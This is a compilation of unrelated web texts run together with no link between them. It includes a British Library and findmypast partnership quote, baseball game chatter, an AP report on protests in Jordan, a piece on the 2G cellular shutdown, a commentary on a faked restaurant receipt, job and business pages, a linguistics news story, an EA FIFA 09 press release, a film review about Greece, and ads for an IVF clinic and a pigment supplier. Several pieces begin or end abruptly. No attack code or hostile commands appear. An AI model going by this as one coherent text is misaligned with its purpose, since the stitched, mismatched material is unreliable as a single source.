Simon Bell, the British Library's Head of Licensing and Product Development, said: "We are delighted to announce this exciting new partnership between the British Library and findmypast.co.uk, which will deliver an online and fully searchable resource that will prove immensely valuable to family history researchers in unlocking a treasure trove of content that up to now has only been available either on microfilm or within the pages of bound volumes. The Library will receive copies of the digitised images created for this project, so as well as transforming access for current researchers, we will also retain digital versions of these collections in perpetuity, for the benefit of future researchers."
Elaine Collins, Commercial Director at findmypast.co.uk, said: "We're very excited to be involved with this fascinating project. The electoral rolls are the great missing link for family historians: after censuses and civil registration indexes, they provide the widest coverage of the whole population. To have Irish and Scottish records alongside England and Wales is also a huge advantage. These records will join the 1911 Census, Chelsea Pensioner Service Records and many more datasets available online at findmypast.co.uk, which enable people to make fantastic discoveries day after day."
Monday, 7 March 2011
More on Findmypast and British Library cooperative projects
My report on the Who Do You Think You Are Live event briefly mentioned projects which will provide online access to two types of record held by the British Library, UK electoral registers and BMB records from the India Office.


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As soon as I say that he gets a couple of fouls on heaters.
Ibanez grounds out to short. 2-0 Reds after 2.
21 to go.
Arroyo through 2 on only 23 pitches.
If it's still 2-0 in the 9th and Cordero comes in...I might need some Valium.
I'd like to see somebody bean Kid Rock.
Phillips lines a single to left center.
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Pushing for change, some in Jordan point to king
AMMAN, Jordan (AP) — It's usually a few younger protesters who break out in the chant — startling and almost unheard of in this country where the monarchy has always been almost sacrosanct — "Down, down with the king."
The rest of the opposition, including its biggest and most powerful faction, the Muslim Brotherhood, are quick to make clear they don't demand the ouster of Jordan's King Abdullah II. But after the past week's angry protests sparked by a government hike in gas and fuel prices, they warn that this usually placid U.S. ally will be thrown into turmoil unless the king allows change.
The unusually violent protests have shifted the focus of discontent from the government, at which anger was focused in the past, squarely on Abdullah for the first time. As a result, the monarch faces the biggest test yet of his democratic reform program, which his critics say does not do enough to end his monopoly on power. Anger over the price hikes has given the opposition, led by the Brotherhood, a rallying point to push him for more dramatic moves.
At the heart of the political standoff is a half-British king trying to forestall Arab Spring-style uprisings that have toppled autocratic regimes in Egypt, Tunisia, Yemen and Libya and led to the civil war in Syria. A darling of the United States and other Western governments who celebrate him and his beautiful Palestinian wife as modern celebrity-monarchs, the king still sits at the helm of a sprawling and largely feared intelligence service, a carefully lubricated patronage system and a U.S.-trained military.
His moribund economy is largely dependent on aid from Washington, Saudi Arabia and other oil-producing Arab states. Government opponents say their phones are bugged and homes watched. At times, such as during the 2010 parliamentary elections, his government was accused of blatantly rigging the vote.
"We're not calling for the king's ouster, but for him to listen to the people's demands and embark on real and serious reforms," Zaki Bani Irsheid, a leading figure in the Islamic Action Group, the political arm of the Brotherhood, told a press conference Monday.
"We did not raise the slogan of toppling the king, but it is being called for by some in street protests, a precedent which indicates that popular tension is growing and an explosion is looming."
The Islamic Action Front now heads a newly created coalition of the fragmented opposition groups. But its control is loose, and the coalition uncomfortably brings together a wide ideological spectrum, from Islamists to Arab nationalists to communists.
Around 400 demonstrators protested Monday in front of the prime minister's office, blocking the road in a traffic circle and demanding the reversal of the fuel and gas price hikes. A few young secular activists in the crowd chanted "down, down with the king" and "Abdullah, you either reform or go."
Calls for the king's ouster reflect "the anger over the price hikes, which dealt a serious blow to the vast majority of Jordanians, whose per capital income is $3,000," said Khaled Ramadan, a prominent activist representing Arab nationalists.
"But in a broader perspective, the tension started building up over the snail-pace of reforms, with no visible sign that the government and its security apparatus, which maintains the upper hand, are taking a step back," he said.
University senior Sohaib Breizat, 21, member of the largely secular Hirak movement comprising young Jordanians, said, "We want a total hands-off for Jordanian security in our daily lives."
"Why do Jordanians need certificates of good conduct from Jordanian intelligence when they apply for government jobs or drivers' license?" he asked. "We keep asking for more freedoms, but we get less. It seems our calls are falling on deaf ears."
Hirak surfaced in the wake of the Arab Spring through Internet social networking.
"We want justice and equality, better opportunities for everyone, including women, jobs for college graduates, respect for our right to free speech, opinion, union and assembly without security interference or intimidation," said a Hirak spokesman, Suhaib Assaf. "We want government transparency and a serious clampdown on corruption, as well as an end to nepotism and bureaucracy."
Jordan has some of the aspects of a police state — the often-thuggish secret police; the manipulated elections; the fawning royal stories in the government media; the hundreds of billboards with the king's face gazing upon his subjects.
However, the reality is complicated. It's illegal to criticize the king here, but prosecutions are rare and those convicted often get royal pardons. The secret police are feared, but are not a constant, threatening presence as in Syria. If some politicians say their phones are tapped, even the harshest critics speak fairly openly.
Abdullah has faced little public criticism at home since he ascended to the throne in 1999. After the Arab Spring's eruption in late 2010, Jordan has seen frequent but small protests.
Then, last Tuesday, Prime Minister Abdullah Ensour hiked the prices of cooking and heating gas by 54 percent and some oil derivatives by up to 28 percent, saying that was necessary to reduce a record budget deficit and growing foreign debt and tackle high unemployment, poverty and waves of Syrian refugees, who are straining meager resources. He said the move was part of Jordan's efforts to secure a badly needed $2 billion loan from the International Monetary Fund to shore up the kingdom's shaky finances amid a shortfall of Arab donations this year.
The protest backlash was unusually violent, with one person killed and 75 others, including 58 policemen, injured. There was also a change in tone, as angry protesters blamed Abdullah for the price rise, accusing him of supporting state corruption by allegedly pocketing state money to spend on personal pleasures.
It was a rare departure from the norm of revering Abdullah's Hashemite dynasty. Its line of descent from the Prophet Muhammad, combined with the elaborate system of patronage aimed at powerful local leaders, has earned the family immense loyalty among the Bedouin tribes who make up the traditional core of Jordanian society.
Protests have dwindled to a handful per day this week, and violence has waned. But the opposition has vowed to continue until the price hikes are revoked.
The protesters also want broader political gains.
The Islamic Action Front's leader, Hamza Mansour, said as a first step, the king must dismiss Ensour and "form a national salvation government that would include Islamists and other opposition figures to change controversial legislation, like the election law, and help parliament regain its independence so that it can impartially monitor the government and official corruption."
So far, Abdullah has maintained control, partly by relinquishing some of his absolute powers to parliament. His reform roadmap envisions parliamentary elections slated for Jan. 23 as a vehicle toward having an elected prime minister for the first time in the country's history. Previously, it was the king's prerogative to appoint the premier.
He also changed 42 articles, or one-third of Jordan's 60-year-old constitution, to ensure an end to government manipulation over parliament. He created a constitutional court to monitor the application of the law. Other new laws encourage a multiparty system, allow Jordanians to elect mayors and city councils and lift restrictions on rallies and public gatherings.
Abdullah also changed the election law. But the Brotherhood responded by announcing a boycott of the upcoming election, saying the legislation favors locally-based conservative candidates rather than parties with an ideological base. The government said it has adopted a globally recognized system of elections, and that the Islamists' alternative would inflate their own representation.
Information Minister Sameeh Maaytah said the groundwork was laid for reform, but that "change can't happen overnight."
"We have a nascent multiparty system that must be nurtured so that it would mature and be able to contest future elections based on party banners," he said. "We can't leave any unfilled vacuum because the alternative would be a total mess."
Copyright 2012 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.


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Lights out for 2G? 'Sunset' debate heats up
Still looking for clarity about the "2G sunset" and whether you'll be left holding the bag if you don't upgrade your cellular alarm communicators to 3G (or even 4G) right now?
You're not alone. The buzz continued last month at ESX, with manufacturers jockeying to try to sway alarm dealers. Telguard, the company sounding the loudest warning about the sunset, went one step further by announcing a program that gives dealers up to $25 for every 2G cell communicator they replace with a Telguard 3G/4G product. The company does not sell 2G.
"We estimate the industry has 3 million 2G radios that will have to be replaced in the next five years," said Shawn Welsh, vice president of marketing and business development for Telguard.
Unlike AMPS, the date for the 2G sunset will not be determined by the FCC; it will determined by cellular carriers based on capacity constraints and customer demand for 3G. Carriers have already begun reallocating frequency spectrum to accommodate 3G, Welsh said, cutting into the effectiveness of 2G equipment.
But not everyone believes the sky is falling when it comes to 2G, at least not in the next few years. Among those taking a different approach is Mike Boyle, general manager of Uplink. The company is continuing to offer 2G lines while rolling out 4G at the same time.
"People are still buying a lot of 2G products," he said. "We think we may continue to sell 2G beyond the third quarter of this year. Everything we see in the network says it will be around."
Uplink backs its business plan with the following assertions on its website:
—2G is a proven technology with falling price points as manufacturing costs decrease.
—No carrier has announced a sunset date for its 2G network.
—Uplink's communicators operate with multiple carriers and will continue to provide nationwide coverage late into the decade or longer.
The company also offers a lifetime guarantee to replace its 2G products with 4G if the 2G units fail to operate due to a carrier technology change. Boyle said the approach covers all bases by recognizing the realities of the marketplace.
"Requests for 4G are minimal," he said. "When a guy asks for 4G, we ship 4G. But our business is still 98 percent 2G."
An industry source who spoke to Security Systems News on condition of anonymity said a sunset announcement from AT&T would be made "in the next few months," which could knock a lot of people off the fence if they've been considering a move to 3G/4G. But longevity is key for alarm dealers, and if they can hang onto their 2G gear for another year or two (or four), many probably will.
It's the nature of the beast.
If Uplink is counting on the fact that carriers have not totally "sunset" their 2G networks (yet), they may be looking at this wrong.
For quite a while, some carriers, such as AT&T, have stopped certifying new 2G devices. Carriers have begun to re-purpose (refarm) the 2G spectrum into LTE offerings. 2G equipment is retiring and being replaced for 4G. 3G expansion has virtually ceased.
The declining 2G coverage means that signal strength will decline as overlap goes away. Alarm systems with 2G radios could become more problematic long before "sunset" is announced.
AT&T has made it official: The last day of 2G coverage is December 31, 2016.
Visit www.2Gsunset.com to read the Wall Street Journal and USA Today coverage.
3G/"4G" are both HSPA-based protocols and completely inseparable. Deploying one means deploying the other. Their deployment is still aggressively happening so that 100% of 2G coverage is matched by the end of 2013.
Now, they are also rapidly deploying 4G LTE. This is a separate network for high speed data in the US.
The only long lived global standard that will support seemless international roaming is HSPA. This ensures its life for many, many years. 4G LTE frequencies just don't allow this because they are all over the place from country to country.
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How greedy are members of the so-called 1%? A "news item" reported last Friday by the Huffington Post and CNN seemed to answer that question.
Leaked initially by the blog Future Ex-Banker (since defunct), the story detailed the unseemly habits of one wealthy Newport Beach, California, banker who was so put off by references to the 99% that he had begun routinely leaving a 1% tip whenever restaurant service was not up to his preternaturally high standards. Wrote the anonymous blogger:
I work in the corporate office of a major bank for a boss who represents everything wrong with the financial industry: blatant disregard and outright contempt for everyone and everything he deems beneath him. On top of that, he's a complete and utter tool. At the same time, I'm still cashing paychecks, an admittedly willing—albeit reluctant—cog in the wheel of this increasingly ugly industry, so I've created this blog as a confessional of sorts. It won't entirely clear my conscience, but hopefully it'll help. I'm sure I'll get fired eventually. Until then, enjoy.
The centerpiece of the blog post and subsequent news reports was a photo of a receipt from a recent meal in which the boss had run up a bill of $133.54 and left a tip of $1.33. To add insult to injury, the cheap S.O.B. had gone so far as to draw a circle around the word Tip on the receipt and added the advice "Get a real job."
There's just one problem with the story: It never happened. HuffPo issued a retraction, but not before the story "set off a hailstorm of online comments that touched on the 1% vs. 99% class warfare embodied by the Occupy movement," reports CBS2/KCAL9.
The restaurant told the news station they have confirmed that the photo of the receipt was photoshopped. They are in possession of the original receipt, which shows a bottom line charge of just over $30 and a tip of 20%. There was no message left for the waitress.
Sadly, this is not the only report of the left-leaning media falling for a hoax in recent days. Tim Graham of Newsbusters notes that the Capital Times of Madison, Wisconsin, "wrote up a story based on a on a prank anti-Paul Ryan press release":
In this fictional scenario, Ryan and other Wisconsin Republicans supposedly were pressuring the Smithsonian to remove posters from last year's anti-Scott Walker protests at the state Capitol from its archives.
In the release and Capital Times story, Ryan was quoted as saying, 'Look, you can't be displaying and archiving art that celebrates protests that were heavily aimed at Republicans, and then expect that Republicans are going to smile nicely and sit down and try and work with the Smithsonian.' The prankster was a local radical, 'labor cartoonist' Mike Konopacki….
So is this where the left's fractious ideological positions have taken it? If they can't find a story that supports their views, they invent one?
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Jobs related to "Electrical Top Helpers"
Electricians and Top Helpers needed for a new commercial project.
- Project will begin within the next week and will last up to several months
- Must have tools, reliable transportation and be able to pass a drug test
- Must have references
Electricians must have at least 7 years of commercial experience.
Electrician must have all necessary tools and personal protection equipment.
Electricians must have experience running EMT, wiring devices, reading prints, and terminating panels.
Top Helpers must have at least 2 years of experience.
Must be willing to work, learn, and assist electricians.
Top Helpers must have basic hand tools and understand how to use them.
Must be able to make simple conduit bends and pull wire.
*Must have personal protection equipment*
- Candidates must be able to lift and carry up to 75 lbs.
- Must be able to work on uneven surfaces, climb up and down ladders, and also work from various heights.
- Must be able to walk, stand, and bend for extended periods of time.
- Must be able to use hands for activities such as holding, grasping, turning, and pulling.
- Must be able to follow safety policies and procedures, and also wear the appropriate PPE at all times.
General Requirements:
•Able to work outdoors in all weather conditions (hot, cold, rain, snow, and sleet)
•Able to lift and carry up to 75 pounds without assistance
•Able to perform work on uneven surfaces; frequently climb ladders, on/off equipment and work from various heights
•Able and willing to walk, stand, bend, and sit for long periods of time
•Able to use your hands to perform activities involving holding, grasping, turning and pulling
•Follow safety policies and procedures and wear the required personal protective equipment required for the job in a safe manner
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Throwback Thursday: Doing Our Homework
When I started as Accordance's sole employee, the company was run completely out of a home office, and I worked at my own home using my own computer. As we added new staff members, the ability to work at home was both a practical necessity and a major perk.
Once we began hiring our own sales staff and selling directly (before that all sales had been handled by another distributor), we decided that we would need a dedicated office for sales. Since the office we got was bigger than the sales staff needed at that time, the development staff was asked if any of us would like to work from the new office. I remember being at a meeting where the question was raised, and we all sort of looked at each other. I think we were each hoping someone else would take it so we wouldn't have to turn it down. Eventually, we realized that none of us wanted that office space. We all had been spoiled by years of working at home.
I was reminded of this the other day when I saw a coworker post on Facebook that his family had gone to the beach while he was stuck at home working. I was tempted to tease him that his post might not engender much sympathy from someone stuck working in an office rather than at home. Instead of picking on him, I just posted another one of my "Jo Jo stories"—funny anecdotes I'll share about my five-year-old's exploits. Those are stories I'd never be able to tell if I had to work from an office every day.
Now, there are certainly advantages to having all your staff work from a single location. A random interaction between two employees at the proverbial water-cooler can sometimes lead to new solutions and greater cooperation. On the other hand, our flexibility to allow staff to work from anywhere has meant keeping great employees who had to move across town or out of state. It has also meant landing great employees who happen to live across the country or across the world. We don't have to turn away a great candidate simply because of geography.
There's one other major advantage to our willingness to allow telecommuting. The fact that most of us gladly work from home means that the vast majority of Accordance's revenues go directly toward ongoing development and customer service. Because we're not having to pay huge rents, mortgages, or utility bills, we're able to make the money you spend go farther and accomplish more with it.
Getting our first sales office was a major step in our growth as a company, but that didn't stop our development staff from continuing to do its homework.


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The Official Website of Utah County Government
Utah County Surveyor
Gary Ratcliffe
Township Resurvey Plats are available for the following areas. Please select the plat you would like to view. The file will open in another window or tab.
Copyright © 2015 Utah County Government | All Rights Reserved
Contact Us | Terms and Conditions | Webmaster | A - Z Services


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"Glendale's Premier Car Dealership"
Give Us a Call!•Sales: (818)805-0829Service: (866) 702-9220
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Welcome to Car City Auto Center, Glendale's Premier Used Car Dealership. Our company is founded on trust, integrity, and respect, offering car buyers competitively priced vehicles and exceptional customer service.
Our car dealership on Brand Blvd. offer many brands including Audi, BMW, Cadillac, Chevrolet, Chrysler, Dodge, Fiat, Ford, Honda, Hyundai, Infiniti, Kia, Land Rover, Lexus, Mini, Mercedes Benz, Mitsubishi, Nissan, Porsche, Smart Car, Toyota, Volkswagen, and Volvo.
Let our friendly and experienced staff help you find a vehicle that fits your budget and lifestyle. Call us today to schedule an appointment, we invite you to come see why our customers keep coming back to Car City.
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Two dozen words may predate modern languages
You, hear me! Give this fire to that old man. Pull the black worm off the bark and give it to the mother. And no spitting in the ashes!
It's an odd little speech. But if you went back 15,000 years and spoke these words to hunter-gatherers in Asia in any one of hundreds of modern languages, there is a chance they would understand at least some of what you were saying.
That's because all the nouns, verbs, adjectives and adverbs in the four sentences are words that have descended largely unchanged from a language that died out as the glaciers retreated at the end of the last ice age. Those few words mean the same thing, and sound almost the same, as they did then.
The traditional view is that words cannot survive for more than 8,000 to 9,000 years. Evolution, linguistic "weathering" and the adoption of replacements from other languages eventually drive ancient words to extinction, just like the dinosaurs of the Jurassic era.
A new study, however, suggests that's not always true.
A team of researchers has come up with a list of two dozen "ultraconserved words" that have survived 150 centuries. It includes some predictable entries: "mother," "not," "what," "to hear" and "man." It also contains surprises: "to flow," "ashes" and "worm."
The existence of the long-lived words suggests there was a "proto-Eurasiatic" language that was the common ancestor to about 700 contemporary languages that are the native tongues of more than half the world's people.
"We've never heard this language, and it's not written down anywhere," said Mark Pagel, an evolutionary theorist at the University of Reading in England who headed the study published Monday in the Proceedings of the National Academy of Sciences. "But this ancestral language was spoken and heard. People sitting around campfires used it to talk to each other."
In all, "proto-Eurasiatic" gave birth to seven language families. Several of the world's important language families, however, fall outside that lineage, such as the one that includes Chinese and Tibetan, several African language families, and those of American Indians and Australian aborigines.
That a spoken sound carrying a specific meaning could remain unchanged over 15,000 years is a controversial idea for most historical linguists.
"Their general view is pessimistic," said William Croft, a professor of linguistics at the University of New Mexico who studies the evolution of language and was not involved in the study. "They basically think there's too little evidence to even propose a family like Eurasiatic." In Croft's view, however, the new study supports the plausibility of an ancestral language whose audible relics cross tongues today.
Pagel and three collaborators studied "cognates," which are words that have the same meaning and a similar sound in different languages. Father (English), padre (Italian), pere (French), pater (Latin) and pitar (Sanskrit) are cognates. Those words, however, are from languages in one family, the Indo-European. The researchers looked much further afield, examining seven language families in all.
In addition to Indo-European, the language families included Altaic (whose modern members include Turkish, Uzbek and Mongolian), Chukchi-Kamchatkan (languages of far northeastern Siberia), Dravidian (languages of south India), Inuit-Yupik (Arctic languages), Kartvelian (Georgian and three related languages), and Uralic (Finnish, Hungarian and a few others).
They make up a diverse group. Some don't use the Roman alphabet. Some had no written form until modern times. They sound different to the untrained ear. Their speakers live thousands of miles apart. In short, they seem unlikely candidates to share cognates.
Pagel's team used as its starting material 200 words that linguists know to be the core vocabulary of all languages.
Other researchers had searched for cognates of those words in members of each of the seven Eurasiatic language families. They looked, for example, for similar-sounding words for "fish" or "to drink" in the Altaic family of languages or in the Indo-European languages. When they found cognates, they constructed what they imagined were the cognates' ancestral words -- a task that requires knowing how sounds change between languages, such as "f" in Germanic languages becoming "p" in Romance languages.
Those made-up words are called "proto-words." Pagel's team compared them among language families. They made thousands of comparisons, asking such questions as: Do the proto-word for "hand" in the Inuit-Yupik language family and the proto-word for "hand" in the Indo-European language family sound similar?
Surprisingly, the answer to that question and many others was yes.
The 23 entries on the list of ultraconserved words are cognates in four or more language families. Could they sound the same purely by chance? Pagel and his colleagues think not.
Linguists have calculated the rate at which words are replaced in a language. Common ones disappear the slowest. It's those words that Pagel's team found were most likely to have cognates among the seven families.
In fact, they calculated that words uttered at least 16 times per day by an average speaker had the greatest chance of being cognates in at least three language families. If chance had been the explanation, some rarely used words would have ended up on the list. But they didn't.
As a group, the ultraconserved words give a hint of what has been important to people over the millennia.
"I was really delighted to see 'to give' there," Pagel said. "Human society is characterized by a degree of cooperation and reciprocity that you simply don't see in any other animal. Verbs tend to change fairly quickly, but that one hasn't."
Of course, one has to explain the presence of "bark."
"I have spoken to some anthropologists about that, and they say that bark played a very significant role in the lives of forest-dwelling hunter-gatherers," Pagel said. Bark was woven into baskets, stripped and braided into rope, burned as fuel, stuffed in empty spaces for insulation, and consumed as medicine.
"To spit" is also a surprising survivor. It may be that the sound of that word is just so expressive of the sound of the activity -- what linguists call "onomatopoeia" -- that it simply couldn't be improved on over 15,000 years.
As to the origin of the sound of the other ultraconserved words, and who made them up, that's a question best left to the poets.


text: These screens were released today by the developers of Installer.app showing Installer 4, the next version that will work with jailbroken iPhones running firmware 2.0. By the slick looks of it, it looks like they're getting close. When it's done, it will be multi-threaded (meaning everything doesn't come to a halt while your sources are being updated) and support package dependencies as well. As you know, we can't wait. [RiP Dev Blog]


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CrossFit iQWest Palm Beach, Florida
Don't Miss Your Spot
- 44Days
- :
- 19Hours
- :
- 56Minutes
- :
- 10Seconds
Until Registration Closes!
How Does Festivus Games Go at CrossFit iQ?
- When: 04/18/2020
- Check-in: 7:30 am
- Where:
CrossFit iQ
346 Pike Rd.
West Palm Beach, Florida 33411
- Early Registration for FREE shirt: 03/22/2020
Athletes who register by 03/22/2020 will have an official event shirt waiting for them at the host when they check in. Registering after 03/22/2020 does not include a free shirt. Register early!
- Last Day to Register: 04/11/2020
Who is Festivus Games For?
Festivus Games is for the Novice, Intermediate, and Masters 45+ athlete. It's not for the pure Rx or firebreather. Festivus Games was designed so it wouldn't be necessary to scale the events. The competition is about capacity more than a high degree of skill. Everyone can row...just how fast? Everyone can deadlift...just how much?
The April 2020 event is Individual (no teams). We have novice, intermediate and masters 45+ divisions.
$75 Per Person
Includes: (1) Athlete entry, (1) event shirt if you register by 03/22/2020, (1) shot at the podium, (1) full day of Festivus Games experience.
Register by 03/22/2020 to get your FREE event shirt.
Register by 04/11/2020 so you don't miss out on the competition!
Compete in the Festivus Games at CrossFit iQ. Don't be the athlete that hears "You should have been there!".


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After posting record Week 1 sales throughout Europe, Electronic Arts Inc. (NASDAQ: ERTS) announced that EA Sports FIFA Soccer 09 has shipped to stores throughout North America and Asia today, providing soccer fans with a customized gameplay experience that takes advantage of the hardware specifications of each available platform the PlayStation 3 computer entertainment system, Xbox 360 video game and entertainment system, PC, PlayStation 2, PSP (PlayStation Portable) system and mobile.
FIFA Soccer 09 launches in North America and Asia on the Wii home video game system and Nintendo DS on October 28, 2008.
A new premium service for FIFA Soccer 09 on PlayStation 3, Xbox 360 and PC called adidas Live Season* is poised to redefine the soccer videogame experience by dynamically updating player form in-game on a weekly basis so that player attributes mirror real-world performances. FIFA Soccer 09 will now feel and play differently throughout the entire 2008-2009 season matching the weekly rhythm of soccer. Gameplay will change dynamically as the performance of players and football teams in the real world experience the highs and lows during their campaigns. The new service is available now for Barclay's Premier League, La Liga BBVA, Ligue 1, Bundesliga, Serie A and Mexican Primera Division.
FIFA Soccer 09 also features a new online mode called FIFA 09 Clubs*, designed for PlayStation 3 and Xbox 360, that enables gamers to form or join user-controlled 'clubs' of up to 50 friends and field their strongest team when competing in Be A Pro: 10 v 10 Online Team Play, a feature that enables 20 people on 20 different consoles to connect online to play a single match of FIFA Soccer 09. FIFA 09 Clubs will determine the best virtual team in the world as Clubs are relegated and promoted to different divisions based on their performance during the season.
With the launch of FIFA Soccer 09 in North America and Asia players can now register for the fifth FIFA Interactive World Cup (FIWC) season. FIWC 09 registration to participate in the online leg of the tournament takes place inside the FIWC mode of FIFA Soccer 09 on the PS3 which has been made accessible for today for gamers around the world. At the end of the qualifiers, the 13 best online players will have secured their space in the Grand Final, which takes place next Spring. Hopeful players will also be able to compete at one of 19 physical FIWC 09 Qualifier Events across the globe. Details about these live qualifier events will be made available over the coming weeks at www.FIFA.com/FIWC. Participation pays as the ultimate winner will not only be recognized as the best virtual soccer player by the real life world governing body of soccer FIFA, but he will also receive an invitation to the FIFA World Player Gala along with a US $20,000 cash prize and an all new KIA 'Soul'. For the first time in the tournament's history, the runner up will receive US $5,000, while the player coming third will be awarded US $1,000.
With 500 new animation sequences and all-new collision and shielding systems -- representing the biggest innovations to the multiplatform EA Sports soccer engine in four years -- FIFA Soccer 09 delivers more responsive, intelligent and realistic physical action on the PlayStation 2 system. The new collision detection system with 360 degree coverage enables players to behave according to their physical attributes where player speed, direction and strength determine everything from the severity of the collision to the outcome of possession. Changes to the animation system reward the skillful gamer during one-on-one situations between attackers and defenders.
FIFA Soccer 09 on PC features leading-edge visuals delivering graphics that exploit the power of hi-spec gaming PCs, customizable mouse gameplay controls that provide deeper, more intuitive command over your squad and customizable widgets integrated into the menu system.
FIFA Soccer 09 on the PSP system now contains the innovative Be A Pro feature, including the unique Be A Pro camera that re-creates the rush and excitement of racing in on goal.
To learn more about FIFA Soccer 09 visit www.FIFA09.ea.com.
Developed in Burnaby, B.C., by EA Canada, FIFA Soccer 09 is localized into 17 languages and sold in 37 countries -- it is the most popular EA Sports franchise globally. FIFA Soccer 09 is rated "E" for everyone by ESRB and 3+ by PEGI.
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About Electronic Arts
Electronic Arts Inc. (EA), headquartered in Redwood City, California, is the world's leading interactive entertainment software company. Founded in 1982, the company develops, publishes, and distributes interactive software worldwide for video game systems, personal computers, cellular handsets and the Internet. Electronic Arts markets its products under four brand names: EA SPORTS, EA, EA SPORTS Freestyle and POGO. In fiscal 2008, EA posted GAAP net revenue of $3.67 billion and had 27 titles that sold more than one million copies. EA's homepage and online game site is www.ea.com.


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Greece - Alexander's shadow
After the war this group of people did not feel like speaking very much. "You know, the ones who had numbers," says Heinz Kounio and points to his own upper arm. Mr. Kounio was one of 40,000 Jews from Thessaloniki who were deported to concentration camps in 1943. Only 2000 of them survived the Holocaust and returned to the northern Greek city. And it is only recently that people here have started to really acknowledge that for centuries the city was a centre of Jewish life.
Return to Europe uncovers this Jewish heritage, portraying Thessaloniki as a city that lost its identity in the 20th century. The people here lived through the traumatic population exchange in 1923, when hundreds of thousands of Greeks and Turks were forced to leave their homes. Who was allowed to live where depended on their religious affiliations.
The film analyses the impact this has had on Greek identity to this day. In Greece, the Church quite naturally gets involved in politics. Loyalty to the Orthodox Church goes so far that during the Bosnian War most Greek politicians even supported Slobodan Milošević und Radovan Karadžić. The film points out how Greece was the only Balkan country to translate the idea of an ethnic homogenous nation state into reality after World War I, and one cannot help but think about the recent wars in the Balkans, where the lance of nationalism was taken up once more, resulting in the disaster of ethnic cleansing.
In Return to Europe, journalist Takis Michas explains that many Greeks compared the war in Bosnia to their own history in the 20th century: interpreting it as a necessary attempt to establish a nation state. Today, Greece itself is a multi-ethnic state once again, particularly since large numbers of Albanian refugees reached its shores in overcrowded boats in the 1990s. Return to Europe points out that Greece has not only mastered the integration of these new citizens, but that relations with its former archenemy Turkey have also been progressing nicely since the late 1990s.
If you would like to watch the complete film please go to ESI's Youtube page.
Despite its Western orientation during the second half of the 20th century, under the surface Greece is still trying to address its role under the Ottoman Empire and the changes brought about by its demise, just as the other Balkan nations are doing. Following the population exchange of 1923, the expulsion of Turks from Greece and the expulsion of Greeks from Turkey, five hundred years of Ottoman culture in Thessaloniki were destroyed, and the majority of the mosques were demolished.
Today's filmmakers have attempted to address the tension between Greece and Turkey in movies like "A Touch of Spice". In its film about Greece, Return to Europe shows how the Greeks are slowly building up self-confidence – partly a result of the country's economic success – but that this confidence is still missing in the country's dealings with its neighbour Macedonia, whose very name many Greeks are apparently still afraid of. Fortunately, Return to Europe also encounters people like Yiannis Boutaris who make fun of this nationalism and point out that, first of all, Alexander the Great died three thousand years ago and, secondly, he was an internationalist.


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Artist description:
"The sun is still in the sky and the wind is blowing. And I... I, Antonius Block, play chess with Death!"
Java Draw Created Mar 13, 2013 338 x 470px Unless noted Copyright 2013 graphiteZeppelin.
We encourage you to submit a comment and let the artist know what you think of this drawing. Please log in or join to post a comment.
Post a comment
Nice! great job with the wrinkles, the tiny details are wonderful. =)
Cool drawing man, have a thing for b+w pics at the moment :)
Looks like ... 5!!!!!
gosh,it is amaaaaaaaaaaaaaazing.iam gonna steal it to put into my favs.5/5.fav
awesome welcome back graghite 5 h and fav
Excellent artwork, i like the hair details.5/5
glad to see your work...awesome as always!!
wow! love the details!
I love this. The dramatic lighting and black and white really make it pop. Collection


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Pledge to Help all Infertile Couples
Best IVF Clinics in Kota, Top IVF Clinic in Kota, Famous IVF in Kota,Best IVF Clinics in Kota, Top IVF Clinic in Kota, Famous IVF in Kota. We have taken a pledge to help all those couples who seek help from our end after getting rejection from the rest of the world. The warmth, understanding, and the empathy with which we cater the needs of the couples help us becoming better every second.
We understand your dream of having your own offspring whom you can love, scold, and pamper. Hence, we are here to handle every sort of infertility that you possess, whether known or unknown, doesn't matter. .
We believe in treating the problem from its root with the help of advanced medical equipment that we possess.
Moreover, we know the value of privacy, so we are here to keep your details concealed from the rest of the world.


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Lithol Rubine BA
- Datasheet (英语)
Guangzhou Chemem Co., Ltd.目前只在以下作出标识的区域展示其产品资料:
Lithol Rubine BA is a red organic pigment that has a pink tint. This product has a pH value of 7 and a heat resistance of 180°C, and it is commonly used in a variety of inks and textile printing.
Guangzhou Chemem Co., Ltd. is a supplier that specializes in color pigments used in the Paint and Coatings and Graphic Arts and Inks industries. This company offers an extensive range of products that include organic pigments, iron oxide pigments, chrome yellow pigments, and more. Featured products include Chromium Oxide Green, Fast Rose Red, Permanent Orange RL, Fast Yellow G, and Quindo Violet 19.
Guangzhou Chemem Co., Ltd.
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